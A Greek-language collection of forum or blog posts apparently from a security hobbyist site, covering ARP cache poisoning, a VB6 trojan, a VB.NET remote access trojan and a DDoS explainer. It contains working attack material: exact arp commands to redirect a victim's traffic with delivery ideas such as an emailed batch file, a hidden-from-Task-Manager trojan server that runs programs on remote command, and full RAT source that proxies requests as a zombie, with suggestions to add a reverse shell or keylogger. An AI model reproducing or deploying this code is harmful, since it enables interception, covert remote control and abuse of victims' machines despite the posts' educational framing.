Για να δούμε όμως όλο το "σκηνικό" αυτό στην πράξη και μάλιστα τι ακριβώς γίνεται "behind the scenes" καλό θα ήταν να ανοίξουμε τον αγαπημένο μας sniffer (http://www.wireshark.org/ - εικόνα 2).

Εικόνα 2: Επιλογή network interface με τον γνωστό wireshark sniffer σε σVista.

Ανοίγω τον sniffer και επιλέγω network interface (εικόνα 2). Διαλέγω το interface εκείνο που "βλέπει" την IP 192.168.1.68 το οποίο αντιστοιχεί στην ενσύρματα κάρτα δικτύου μου. Να τονίσω ότι αν εσείς δοκιμάσετε κάτι αντίστοιχο, το πιθανότερο είναι να έχετε μια εντελώς διαφορετική εικόνα, αφού η κάρτα δικτύου σας μπορεί να αντιστοιχεί σε μια εντελώς διαφορετική IP.
Πριν πατήσω το button start, πάμε να ρίξουμε μια ματιά στα options (εικόνα 3). Πρέπει να έχετε ενεργοποιημένο το checkbox: Capture packets in promiscuous mode. Αυτό σημαίνει ότι ο sniffer μας θα συλλαμβάνει και τα πακέτα δεδομένων που διακινούνται στο LAN μας τα οποία δεν προορίζονται μόνο για εμάς, δηλαδή μόνο για τον 192.168.1.68. Μετά από αυτό μπορώ πλέον με χαρά να πατήσω το κουμπί start αν θέλω να αρχίσω να παρακολουθώ την κίνηση των πακέτων δεδομένων στο LAN.

Εικόνα 3: Η επιλογές της κάρτας δικτύου για την παρακολούθηση των πακέτων.

Επίσης, μην ξεχάσω να δω ποια είναι η MAC Address μου ώστε να την χρησιμοποιήσω αργότερα όταν θα "χαλάσω" το box θύμα. Δίνω λοιπόν, την παρακάτω εντολή (φυσικά από την γραμμή εντολών!):
C:> ipconfig /all |more
To αποτέλεσμα το βλέπουμε στην εικόνα 4. Παρατηρείστε ότι η παραπάνω εντολή μας εμφανίζει όλα τα network interfaces με πρώτο και καλύτερο αυτό της ασύρματης κάρτας το οποίο είναι επίσης ενεργό. Βλέπουμε ότι κάθε intreface έχει την δικιά του IP και την δικά του MAC address. Μην ακούσω λοιπόν ποτέ ξανά κανέναν να ισχυρίζεται οτι σε ένα box δεν είναι δυνατόν να έχουμε παραπάνω από 1 MAC address!
Παρατηρούμε λοιπόν, ότι η MAC διευθύνση για την ενσύρματη κάρτα δικτύου μου είναι η 14-49-62-80-E2-AA.

Εικόνα 4: Τσεκάροντας τo network interface μας και την MAC address του.

Επίσης δώστε βάση και στην τιμή "DNS servers" (192.168.1.254). Είναι η IP του router μου! Μην την ξεχάσετε... θα μας χρειαστεί!

Είμαι τώρα έτοιμος να κάνω την επίθεση. Αυτό που θα κάνω είναι να τρέξω στο box του "θύματος" την εντολή arp με τέτοιες παραμέτρους ώστε
1.Να διαγράψω τις τιμές που γνωρίζει ήδη για τα άλλα boxes του δικτύου και
2.Να βάλω τις δικές μου τιμές. Με στόχο να μπερδέψω το "θύμα", σαν δική μου τιμή θα βάλω το εξής: Θα δηλώσω στον πίνακα ARP του θύματος ότι η IP του router συνδέεται με την δική μου MAC address! Αυτό θα έχει σαν αποτέλεσμα, κάθε κλήση στο internet που θα κάνει το θύμα, να αποστέλλεται στο δικό μου box. Μήπως αυτό σας θυμίζει το 1ο βήμα μιας επίθεση MITM; Ναι, ίσως είναι. Αλλά αυτό και μόνο το βήμα είναι αρκετό για να "μπλοκάρει" την σύνδεση του θύματος με το διαδίκτυο, μιας και όλες η κλήσεις του προς οποιονδήποτε server θα στέλνονται στο δικό μου box το οποίο και θα τις αγνοεί παραδειγματικά!
Τα 1 και 2 υλοποιούνται πάρα μα πάρα πολύ εύκολα με δυο εντολές (εικόνα 5):
Για το 1 τρέχουμε την εντολή
C:> arp -d *
και διαγράφουμε όλες τις αναφορές του πίνακα ARP. Μην τρομάζετε όμως, αυτό δεν είναι και τόσο κακό μια και με κάθε κλήση σε κάποια άλλη διεύθυνση ο Κος Δρομολογητής μας θα ενημερώσει αμέσως τον πίνακα ARP... εκτός κι αν τον προλάβουμε και τρέξουμε το παρακάτω:
C:> arp -s 192.168.1.254 14-49-62-80-e2-aa
Εδώ βρίσκεται όλο του ζουμί αυτού του άρθρου! Με την εντολή αυτή εισάγω στον πίνακα ARP μια εγγραφή η οποία λέει: Ο router (192.168.1.254) έχει mac address την 14-49-62-80-e2-aa, που είναι η δική μου mac address! Μάλιστα παρατηρώ ότι η παραπάνω εντολή δημιουργεί μια εγγραφή στον πίνακα ARP τύπου static (εκόνα 5)! Μάλιστα. Η εγγραφή πια δεν αλλάζει εκτός κι αν τρέξει κάποιος το arp -d *

Εικόνα 5: Η επίθεση σε εξέλιξη στον υπολογιστή θύμα!

Ένας κακόβουλος χρήστης μπορεί να υλοποιήσει τα παραπάνω με πολλούς τρόπους. Κατ' αρχάς βάζει τις παραπάνω εντολές σε ένα batch file και μετά:
1. Μπορεί να μπει στον υπολογιστή σας όσο λείπετε και να το εκτελέσει από ένα memory stick. Απαιτεί φυσική πρόσβαση στο box σας! Σπάνιο αλλά όχι αδύνατο.
2. Μπορεί να μπει στον υπολογιστή σας όσο λείπετε, να ανοίξει ένα command prompt και να εκτελέσει απλά τις εντολές. Επίσης, απαιτεί φυσική πρόσβαση στο box σας! Σπάνιο αλλά όχι αδύνατο. Αρκεί να μην σας βάλουν στο... μάτι.
3. Να σας στείλει ένα mail με τίτλο "Κοίτα τι όμορφο πρόγραμμα βρήκα" ή "Έλα Αλέκο βρήκα το πρόγραμμα που μου ζήτησες..." και να έχει attach το batch file που να σας προτρέπει να το πατήσετε. Σε Win sVista/7 απαιτεί admin rights, εκτός κι αν έχετε απενεργοποιήσει το UAC...
4.Να μπει με metasploit εκμεταλλευόμενος κάποια αδυναμία του λειτουργικού συστήματος σας καλώντας ένα reverse shell οπότε μετά απλά μπορεί να εκτελέσει τις παραπάνω εντολές.
Οι τρόποι είναι πάρα πολλοί. Τόσοι, όσοι μπορείτε να σκεφτείτε αν αναρωτηθείτε πως είναι δυνατόν κάποιος να τρέξει εντολές στο PC σας με τη θέληση σας ή με την άγνοια σας ή με ότι άλλο φανταστείτε τόσο εσείς όσο κι εγώ

Από την στιγμή που θα τρέξουν η δύο παραπάνω εντολές, όλες κλήσεις προς στο internet στον υπολογιστή "θύμα" θα πέφτουν σε εμάς (στην δική μου IP)... ή αλλιώς στο κενό (εικόνα 6).

Εικόνα 6: Αχρηστεύοντας προσωρινά το internet του φίλου μας!

Έχω προετοιμαστεί και για μια παρακολούθηση, όμως ε? Μάλιστα βλέπω στον sniffer, πακέτα που προέρχεται από την IP του θύματος (192.168.1.69) να προσπαθεί μάταια να δει το travel link του site www.msn.com (εικόνα 7).

Εικόνα 7: Το θύμα προσπαθεί να επισκεφτεί ένα link "επί ματαίω" κι εγώ τον παρακολουθώ!

Θα μπορούσα (όπως είπα στην αρχή), σε αυτό το σημείο να κάνουμε και κάτι άλλο, σαν επέκταση τις επίθεσης μας: Μόλις λαμβάνω τα πακέτα δεδομένων από το θύμα, να τα στέλνω στον router αντί να τα "πνίγω" και μετά αφού ο router μας απαντούσε να έστελνα την απάντηση πίσω στο θύμα. Ακριβώς! Καλά το καταλάβατε. Σε αυτήν την περίπτωση θα είχα υλοποιήσει μια επίθεση Man In The Middle - ΜΙΤΜ κλέβοντας και παρακολουθώντας όλες τις κινήσεις του θύματος στο internet, με ότι αυτό συνεπάγεται. Δηλαδή, θα μπορούσα να δω κωδικούς πιστωτικών καρτών, passwords, mails κλπ κλπ! Γενικά θα έλεγα (με υψηλή πιθανότητα επιτυχίας), ότι θα προέκυπτε μια καθόλου ευχάριστη κατάσταση για το "θύμα" μας...!

Χμ... Έχει μείνει ακόμα ένα σκοτεινό σημείο: Αν το "θύμα" έκανε restart τον υπολογιστή του, θα την γλίτωνε; Θα καθάριζε ο ARP table ακόμα κι από τις στατικές καταχωρήσεις;
Η απάντηση είναι ΝΑΙ.
Με το restart το ARP table γίνεται clear τόσο από δυναμικές όσο και από στατικές καταχωρήσεις.

Όλα αυτά που παρουσίασα δεν έχουν στόχο μόνο την εκπαίδευση αλλά και την προστασία μας αφού το ρητό "η γνώση είναι δύναμη" επαληθεύεται ακόμα και πίσω από την αρχή:
Μάθε πως σκέφτεται ένας κακός χρήστης. Θα σου χρειαστεί για να προφυλαχτείς καλύτερα.

Happy ARPing!

Προγραμματίζοντας ένα Trojan στο Visual Basic 6.0

Secured — Tue, 16 Feb 2010 01:34:06 GMT

Tutorial Visual Basic 6.0 Trojan

Author: Atomix

Website: http://onsecurity.org

Αυτό το Tutorial απευθύνεται σε "πολύ" αρχάριους χρήστες όσον αφορά το προγραμματισμό σε Visual Basic!

Ανάλυση θέματος από το "0" (αρχή) με προσοχή!

Θα σας δείξω πως μπορείτε να προγραμματίσετε ένα απλό trojan στο Visual Basic 6.0. Θα δούμε τις λειτουργίες του trojan.

Θα σας το παρουσιάσω με παραδείγματα και εικόνες.

Client:

Δημιουργούμε ένα νέο Project 'Standard EXE'.

Θα εισάγουμε ένα 'TextBox', για την IP, και ένα 'CommandButton' για την σύνδεση με το server.

Επίσης θα βάλουμε και άλλα δύο "κουμπιά" (CommandButtons), το ένα να ανοίγει το 'notepad' και το άλλο για το 'cmd'.

Κάνετε διπλό κλικ στο Form1 και βάλτε το παρακάτω script:

Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text ' Να συνδεθεί στην IP που βρίσκετε στο Text1.Text
Winsock1.RemotePort = 1234 ' Να χρησιμοποιήσει το Port 1234 (πρέπει να είναι το ίδιο με το server)
Winsock1.Connect ' Να συνδεθεί
End Sub ' Επόμενο...

Private Sub Command2_Click()
Winsock1.SendData "2" 'Το Winsock να στείλει την πληροφορία "2" στο server κάνοντας κλικ στο 'Command2'
End Sub

Private Sub Command3_Click()
Winsock1.SendData "3" ' Το Winsock να στείλει την πληροφορία "3" στο server κάνοντας κλικ στο 'Command3'
End Sub

Private Sub Winsock1_Connect() ' Αφού το Winsock συνδεθεί με επιτυχία
Form1.Caption = "Connected to IP" & Text1.Text ' Στο Form1 να εμφανιστεί στο πάνω μέρος "Connected to IP" και την IP.
End Sub

Όπως βλέπετε, χρησιμοποιούμε Winsock για την σύνδεση μας με το server. Κάντε δεξί κλικ κάτω από το 'Tools Box' μετά 'Components' και ψάξτε το 'Microsoft Winsock Control 6.0'. Έπειτα προσθέστε ένα Winsock1 στο Form μας.(Δες εικόνες)

Αυτά είναι για το Client μας, δηλαδή από εκεί που θα συνδεθούμε εμείς. Τώρα για να το κάνουμε πρόγραμμα (*exe), πηγαίνουμε πάνω στο 'File' και μετά 'Make Project1.exe'.

Server:

Τώρα ας φτιάξουμε και το server το οποίο είναι για το θύμα και πρέπει να το εκτελέσει για να μπορούμε να συνδεθούμε εμείς απο το Client μετά...

Ανοίγουμε ένα νέο Project 'Standard EXE'

Εδώ απλώς θα βάλουμε ένα ακόμα Winsock1 , κάνοντας δεξί κλικ στο 'Tools Box' μετά 'Components' και ψάξτε το 'Microsoft Winsock Control 6.0'. Έπειτα προσθέστε ένα Winsock1 στο Form μας.

Κάντε διπλό κλικ στο Form και βάλτε το ακόλουθο script:

Private Sub Form_Load()
App.TaskVisible = False ' Να μην είναι εμφανίσημο στο 'TaskManager'  
Me.Hide ' Κρυμμένο
If App.PrevInstance = True Then
Unload Me
End If
Winsock1.LocalPort = 1234 ' Να χρησιμοποιήσει το Port 1234
Winsock1.Listen ' To Winsock1 να περιμένει εντολές απο το Client
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'To Winsock να δεχτεί την σύνδεση
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data 'Το Winsock να πάρει τις πληροφορίες απο το Client

If data = "2" Then ' Αν στάλθηκε η πληροφορία "2" τότε...
On Error Resume Next ' Αν υπάρξει κάποιο σφάλμα τότε να συνεχίσει στο επόμενο και να μην σταματήσει το πρόγραμμα
Shell ("C:\WINDOWS\system32\cmd.exe") ' Αν πληροφορία "2" τότε εκτέλεσε "Shell ("C:\WINDOWS\system32\cmd.exe")"
End If

If data = "3" Then ' Αν στάλθηκε η πληροφορία "3" τότε...
On Error Resume Next '  Αν υπάρξει κάποιο σφάλμα τότε να συνεχίσει στο επόμενο και να μην σταματήσει το πρόγραμμα
Shell ("C:\WINDOWS\system32\notepad.exe") Εκτέλεσε το
End If

End Sub

Μετά το κάνετε αρχείο *exe απο το 'File' - 'Make Project1.exe' (μπορείτε να αλλάξετε το όνομα του αρχείου σε ότι θέλετε, πχ server.exe).

Αυτό ήταν η σύνδεση ενός trojan client με το server. (To γνωστό Trojan που φοβούνται όλοι...χαχα). Τώρα ανοίγετε το Client και στο TextBox1 βάζετε την IP του θύματος. (Αφού εκτελέσει το server.exe). Μπορείτε επίσης να το δοκιμάσετε στο localhost, εκτελείτε το server στο σύστημα σας (δεν υπάρχει κίνδυνος) και μετά από το Client βάζετε την IP 127.0.0.1 (το localhost) και δοκιμάζετε να δείτε αν δουλεύει το Trojan σας.

RAT σε vb 8...

Thiseas — Tue, 12 Jan 2010 20:11:46 GMT

RAT, σύμφωνα με την webopedia:
“Short for Remote Access Trojan, a Trojan horse that provides the intruder, or hacker, with a backdoor into the infected system. This backdoor allows the hacker to snoop your system, use your infected system to launch a zombie (attacks on other systems), or even run malicious code.
See also zombie.”

Θέλησα λοιπόν να φτιάξω ένα τέτοιο πρόγραμμα με τους ακόλουθους περιορισμούς και στόχους:

Κάνοντας χρήση λίγο αντισυμβατικών (για αυτήν την δουλειά) γλωσσών προγραμματισμού. Επέλεξα την Visual Basic 8 Express Edition για 2 βασικούς λόγους:
(α) Είναι δωρεάν και μπορείτε να την κατεβάσετε από εδώ και
(β) Δείχνει την ευκολία που μπορείτε να αναπτύσετε εφαρμογές με την χρήση του .Net framework, άσχετα αν γράφετε σε C# ή σε Visual Basic.
Κάνοντας τον κώδικα όσο ανοιχτό γίνεται ώστε αυτό το RATaki να λειτουργήσει και σαν «σκαλοπάτι» που κάποιος (programmer) θα μπορούσε εύκολα να το πάρει και να το προχωρήσει προσθέτοντας εύκολα και γρήγορα τα δικά του χαρακτηριστικά.
Να δώσω κάποια hints για το πως κάποιος μπορεί να γράψει έναν κακόβουλο πρόγραμμα - άρα και τρόπους για να γράψετε δικές σας "ασπίδες" - προγράμματα που θα τον μπλοκάρουν ή ξεσκεπάζουν.

Χαρακτηριστικά του server:
Ακούει σε μια συγκεκριμένη πόρτα για τις εντολές του client.
Διαθέσιμες εντολές:

Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "1" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή ping και απαντάει με ένα... "I' m here baby!"
Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "2" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή για άνοιγμα μιας σελίδας HTTP και απαντάει με την απάντηση (σε μορφή HTML) που πήρε από τον web server καλώντας το URL που ακολουθεί μετά το 2.

Χαρακτηριστικά του client:
Στέλνει εντολές στον server και περιμένει την απάντηση.
Διαθέσιμες εντολές:

Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "1" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή ping και απαντάει με ένα... "I' m here baby!" (το είπαμε ήδη... ε?). Για να συμβεί αυτό πρέπει το check box "R u there" πρέπει να είναι επιλεγμένο.
Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "2" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή για άνοιγμα μιας σελίδας HTTP και απαντάει με την απάντηση (σε μορφή HTML) που πήρε από τον web server καλώντας το URL που ακολουθεί μετά το 2. Αυτή η απάντηση εμφανίζεται σαν HTML κώδικας στο tab Html-Response και σαν Html-σελίδα στο tab Web Browser.

Παράδειγμα εκτέλεσης του προγράμματος:

Σε γενικές γραμμές, αυτό που κάνει το πρόγραμμα με την μορφή που έχει τώρα είναι το εξής: Μπορεί ο client να τρέχει σε ένα pc A και ο server na τρέχει σε ένα PC B. Ο χρήστης στο Β μπορεί να καλεί URLs τα οποία θα περνάνε στον server και θα καλούνται από εκεί. Αυτό που θα συμβαίνει στην πραγματικότητα είναι οτι ο server θα είναι zombi του client εμφανίζοντας την την IP του Α στις κλήσεις του B. Κάποιος θα έλεγε οτι αυτό θα μπορούσε να είναι ένα είδος.... "proxy"... κρυμμένου ή μία μέθοδος για να ξεκινήσει κάποιος ένα DDOS (Distributed Denial Of Services) σε κάποιο site. Σας προτείνω να επεκτείνετε το πρόγραμμα ώστε να δέχεται δικές σας εντολές. Νομίζω οτι ένα reverse shell ή ένας remote keylogger δεν απέχει και πολύ μακρυά!
Χρησιμοποιείστε το πρόγραμμα όπως θέλετε - εξαιρούνται οι γνωστοί και ηλίθιοι τρόποι που χρησιμοποιούν οι μέτριοι: για επιθέσεις με κακό σκοπό! Δεν χρειάζετε να αναφέρετε (αν δεν γουστάρετε) τον δημιουργό του προγράμματος.
Our "HowToBeFamous" dept has been closed, a long time ago... ;)

Όλο το project, μπορείτε να το κατεβάσετε από εδώ:
Password: p0wnbox.com

Έχω τρέξει με επιτυχία τον server σε Windows XP Pro (με .net 2.0) , Windows XP Pro (με .net 3.5) και Windows 7 Home Premium. Έχω δοκιμάσει τον client σε windows 7. Το πρόγραμμα σαν Client/Server το έχω τεστάρει σε LAN και σε LAN virtual machine.

Κάθε παρατήρηση θετική ή αρνητική, όχι μόνο δεκτή είναι, αλλά... ευπρόσδεκτη!

Ο κώδικας του server είναι ο παρακάτω:

REM *********************************************************************
 REM  A simple remote access server.
 REM  It listens at a specific port for a client command.
 REM  Available commands:
 REM  1. If the first letter of the packet send by the client is "1" then this is considered as a "ping" request.
 REM     So, the server responses with a "IREM m here baby!"
 REM  2. If the first letter of the packet send by the client is "2" then this is considered as an HTTP request.
 REM     So, the server access the specified page and send the web response to the cient as an html page.
 REM  
 REM  (C) 04th of Jan 2010
 REM  Greetz to p0wnbox team @ www.p0wnbox.com
 REM 
 REM 
 REM  REMARKS:
 REM  You can get this program and extend it to handle any commands you want.
 REM  I bet that you gonna use it for educational purposes ONLY. Am i right? ;)
 REM  thx... I appreciate!
 REM ****************************************************************************************************************
 Imports System.Net.Sockets
 Imports System.Net
 Imports System.Text
 Imports System.IO

 Class TCPSrv
     Const BUFFER_SIZE As Integer = 512



     Shared Sub Main(ByVal args As String())
         REM  Must listen on correct port- must be same as port client wants to connect on.
         Dim portNumber As Integer = 8000 REM  My default port.
         Dim serverIP As IPAddress = IPAddress.Parse("127.0.0.1") REM  My default IP.
         Dim i As Integer = 0

         REM  If arguments exist the use them overwriting the defaults.
         While i < args.Length

             Select Case args(i)
                 Case "/p"           REM  Port Flag parameter. If not entered, port 8000 will be used.
                     i += 1          REM  Skip to the actual port parameter.
                     portNumber = Integer.Parse(args(i))
                 Case "/h"           REM  Hosts IP Flag parameter. If not entered, ip 127.0.0.1 will be used.
                     i += 1          REM  Skip to the actual IP parameter.
                     serverIP = IPAddress.Parse(args(i))
             End Select
             i += 1                  REM  Skip to the next argument.
         End While

         Dim tcpListener As New TcpListener(serverIP, portNumber)

         Try

             While (1 = 1)
                 tcpListener.Start()
                 Console.WriteLine("Server is listening on {0}:{1}...", serverIP, portNumber)

                 REM Waiting for a client to be connected. 
                 Dim tcpClient As TcpClient = tcpListener.AcceptTcpClient()

                 Console.WriteLine("Connection accepted.")
                 REM  Get the stream
                 Dim networkStream As NetworkStream = tcpClient.GetStream()

                 REM  Read the client command into an 8k buffer. It could not be greater ;)
                 Dim bytes(8000) As Byte
                 networkStream.Read(bytes, 0, 8000)

                 REM  Return the data received from the client to the console.
                 Dim clientdata As String = Encoding.ASCII.GetString(bytes)

                 Dim iPos As Integer = InStr(clientdata, Chr(0))
                 If iPos > 0 Then clientdata = Left(clientdata, iPos - 1)

                 REM Acccording to the packet (its 1st letter) send by the client we answer
                 If clientdata.Substring(0, 1) = "1" Then     REM Command #1: R u Up request.
                     Dim responseString As String = "IREM m here baby!"
                     Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(responseString)
                     networkStream.Write(sendBytes, 0, sendBytes.Length)
                 ElseIf clientdata.Substring(0, 1) = "2" Then REM Command #2: A web request.
                     REM  I consider the web request command as: "2http://www.google.com",
                     REM  so, I send the command to the "gotoWeb" function w/o its first letter.
                     Dim sTheURL As String = clientdata.Substring(1, clientdata.Length - 1)
                     TCPSrv.gotoWeb(networkStream, sTheURL)
                 Else
                     REM  Unhandled command request found!
                     Dim responseString As String = "Ops... I dont know this command!"
                     Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(responseString)
                     networkStream.Write(sendBytes, 0, sendBytes.Length)
                 End If

                 tcpClient.Close()
                 tcpListener.Stop()

             End While
         Catch e As Exception
             REM  A serious error occured. Display its description to the console.
             Console.WriteLine(e.ToString())
         Finally
             tcpListener.Stop()
         End Try
     End Sub

     REM ***************************************************************************************
     REM  This is a very simple function to access a web server (via HTTP), get the server response,
     REM  store this response to a string and send it via TCP to the client.
     REM 
     Shared Sub gotoWeb(ByVal netStream As NetworkStream, ByVal sUrl As String)
         Dim sendBytes As [Byte]()
         Dim sWebHtmlResponse As String

         Try

             REM  Create a REM WebRequestREM  object with the specified url 
             Dim myWebRequest As WebRequest = WebRequest.Create(sUrl)

             REM  Send the REM WebRequestREM  and wait for response.
             Dim myWebResponse As WebResponse = myWebRequest.GetResponse()

             Dim sPageEncoding As String = DirectCast(myWebResponse, System.Net.HttpWebResponse).CharacterSet

             REM  Call method REM GetResponseStreamREM  to obtain stream associated with the response object
             Dim ReceiveStream As Stream = myWebResponse.GetResponseStream()

             REM  If the operating system has the encoding of the web page then use it, otherwise use the default.
             Dim encode As Encoding
             Try
                 encode = System.Text.Encoding.GetEncoding(sPageEncoding)
             Catch ex As Exception
                 encode = System.Text.Encoding.Default
             End Try

             REM  Pipe the stream to a higher level stream reader with the required encoding format.
             Dim readStream As New StreamReader(ReceiveStream, encode)
             Dim read(256) As Char

             REM  Read 256 characters at a time.
             Dim count As Integer = readStream.Read(read, 0, 256)
             sWebHtmlResponse = ""
             While count > 0
                 REM  Dump the 256 characters on a string .
                 Dim str As New [String](read, 0, count)
                 sWebHtmlResponse += str
                 count = readStream.Read(read, 0, 256)
             End While

             REM  Add a new line to the webResponse string.
             sWebHtmlResponse += ControlChars.Lf + ControlChars.Cr

             REM  Release the resources of stream object.
             readStream.Close()

             REM  Release the resources of response object.
             myWebResponse.Close()

             REM Send the Html Response to the client in UTF-8 format.    
             sendBytes = Encoding.UTF8.GetBytes(sWebHtmlResponse)
             netStream.Write(sendBytes, 0, sendBytes.Length)


         Catch ex As Exception
             REM Ops! An error occur, inform the client about it!
             sendBytes = Encoding.ASCII.GetBytes(ex.Message)
             netStream.Write(sendBytes, 0, sendBytes.Length)

         End Try
     End Sub
   
 End Class

...και το κυριότερο μέρος του client είναι το εξής:

 REM *********************************************************************
 REM  A simple client.
 REM  It sends commands at a specific port at a specific address.
 REM  Available commands:
 REM  1. If the first letter of the packet send by the client is "1" then this is considered as a "ping" request 
 REM     (i.e. The "R u there" checkbox must be checked!
 REM     The server sould considered with a "IREM m here baby!"
 REM  2. If the first letter of the packet send by the client is "2" then this is considered as an HTTP request.
 REM     The server access the specified page and send the web response to the cient as an html page.
 REM     The page is displyed as html-text as well as html-look in the pages: Html-Response & Web Browser respectively.
 REM  
 REM  (C)04th of Jan 2010
 REM  Greetz to p0wnbox team @ www.p0wnbox.com
 REM 
 REM 
 REM  REMARKS:
 REM  You can get this program and extend it to handle any commands you want.
 REM  I bet that you gonna use it for educational purposes ONLY. Am i right? ;)
 REM  thx... I appreciate!
 REM ****************************************************************************************************************Imports System.Net.Sockets
 Imports System.Text
 Imports System.IO

 Public Class Form1

     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
         Dim tcpClient As New System.Net.Sockets.TcpClient()
         Dim sInformation As String

         REM Clear the pages
         RichTextBox1.Clear()
         WebBrowser1.Navigate("about:blank")

         REM  Inform the user about the response time
         sInformation = "Client Requests @ " + DateTime.Now.ToString
         ListBox1.Items.Add(sInformation)

         Try
             tcpClient.Connect(TextBox_IP.Text, NumericUpDown_Port.Value)

             Dim networkStream As Net.Sockets.NetworkStream = tcpClient.GetStream()
             If networkStream.CanWrite And networkStream.CanRead Then
                 Dim sendBytes As [Byte]() = Nothing
                 Dim s As String
                 Dim i As Int32
                 Dim bytes(tcpClient.ReceiveBufferSize) As Byte

                 If CheckBox_handshake.Checked = True Then
                     sendBytes = Encoding.ASCII.GetBytes("1.Is anybody there?")
                     networkStream.Write(sendBytes, 0, sendBytes.Length)
                     REM  Read the NetworkStream into a byte buffer.
                     networkStream.Read(bytes, 0, CInt(tcpClient.ReceiveBufferSize))
                     REM  Output the data received from the host to the listbox.
                     s = Space(5) + Encoding.ASCII.GetString(bytes)
                     ListBox1.Items.Add(s)
                     sInformation = "Server Respond @ " + DateTime.Now.ToString
                     ListBox1.Items.Add(sInformation)

                 Else
                     REM  Send the request to the server.
                     s = "2" + TextBox_URL.Text
                     sendBytes = Encoding.ASCII.GetBytes(s)
                     networkStream.Write(sendBytes, 0, sendBytes.Length)

                     REM  Read the Packet: The HTML page.
                     REM  Loop to receive all the data sent by the server.
                     s = ""
                     i = networkStream.Read(bytes, 0, bytes.Length)
                     While (i <> 0)
                         REM  Translate data bytes to a UTF8 string.
                         s += System.Text.Encoding.UTF8.GetString(bytes, 0, i)
                         i = networkStream.Read(bytes, 0, bytes.Length)
                     End While

                     REM  Inform the user about the response time
                     sInformation = "Server Respond @ " + DateTime.Now.ToString
                     ListBox1.Items.Add(sInformation)


                     REM Update the ritch-text with the HTML response.
                     RichTextBox1.Text = s

                     REM Write the HTML contents to a file and force browser to read it.
                     Using sw As StreamWriter = New StreamWriter("CurrentReadPage.htm", False, System.Text.Encoding.GetEncoding("UTF-8"))
                         sw.Write(s)
                         sw.Close()
                     End Using
                     Dim sCurrentFilePath As String = Environment.CurrentDirectory()
                     sCurrentFilePath += "\CurrentReadPage.htm"
                     WebBrowser1.Navigate(sCurrentFilePath)


                 End If
             Else
                 If Not networkStream.CanRead Then
                     ListBox1.Items.Add("Fail to write data to the stream.")
                 ElseIf Not networkStream.CanWrite Then
                     ListBox1.Items.Add("Fail to read data from the stream.")
                     tcpClient.Close()
                 End If
             End If
         Catch ex As Exception
             ListBox1.Items.Add(ex.Message)
         End Try


     End Sub
 End Class

Επιλογή εργαλείου obfuscation

Dimitris Papadimitriou — Thu, 07 Feb 2008 20:14:11 GMT

Στο παρελθόν είχε γίνει μια πολύ ωραία συζήτηση περί licensing, obfuscating, hasps κλπ. Προσωπικά είχα αποδεχθεί πλήρως την διαπίστωση του babouranos:

hasp για να νομίζει ο πελάτης ότι είναι κλειδωμένο
obfuscation για να νομίζω εγώ ότι είναι κλειδωμένο

Λοιπόν, δεχόμενοι τα παραπάνω, έχετε να προτείνετε κάποιο obfuscation εργαλείο;

Τα χαρακτηριστικά που με ενδιαφέρουν είναι:

απλό obfuscation που να μπερδεύει λίγο τον κώδικα (να μην μπορεί δηλαδή ο κάθε "εξυπνάκιας" που μόλις ανακάλυψε το reflector να τον πηράζει ή να τον κατανοεί και να προτείνει ότι κουταμάρα του έρθει στο κεφάλι).
εύκολη χρήση μέσω command line έτσι ώστε να γίνεται καλό integration με τα υπάρχοντα εργαλεία building που χρησιμοποιώ

(D)Dos Attacks

Thiseas — Sun, 04 Oct 2009 19:57:42 GMT

Έτος: 1999. Περιοχή Αττική. Ένας αρκετά ισχυρός σεισμός μεγέθους 5.7 της κλίμακας ρίχτερ, με επίκεντρο την Πάρνηθα πλήττει το λεκανοπέδιο (και όχι μόνο) στις 14:57. Έντρομοι οι κάτοικοι βγαίνουν στους δρόμους. Προσπαθούν να επικοινωνήσουν με τους δικούς τους ανθρώπους. Μάταια! Τα κινητά τηλέφωνα δεν... ανταποκρίνονται! Μα τι έγινε; Μήπως γκρεμίστηκε καμιά κεντρική κεραία του ΟΤΕ; Γιατί δεν έχουμε επικοινωνία; Τι συνέβει;

Χμμ... το αυτονόητο. Αυτό που λέγαμε κάποτε (εμείς οι πιο παλιοί!!) "μπλόκαραν" οι γραμμές! Οι βάσεις δεδομένων των παρόχων κινητής τηλεφωνίας δεν ήταν προετοιμασμένες να δεχθούν ένα τόσο μεγάλο αριθμό κλήσεων και "παρέδωσαν" πνεύμα ή αλλιώς αρνήθηκαν να εξυπηρετήσουν και σε πιο Ελληνικά κάνανε deny of services (DOS - μην μπερδεύετε το DOS (Denial Of Services) με το γνωστό και μη εξαιρεταίο DOS (Disk Operating System) που σαν λειτουργικό σύστημα μεσουρανούσε τη 10ετία του '80. Είναι δύο εντελώς διαφορετικά πράγματα.).

Χωρίς να το θέλουνε οι Αθηναίοι πραγματοποίησαν μια επίθεση Denial Of Services (DOS attack) ή καλύτερα Distributed Denial Of Services (DDOS attack) γιατί ήτανε παραπάνω από... ένας, στους servers των παρόχων κινητής τηλεφωνίας. Φυσικό επακόλουθο είναι οι servers αυτοί να "γονατίσουν" μην μπορώντας να εξυπηρετήσουν τόσες πολλές αιτήσεις κλήσεων μαζεμένες!

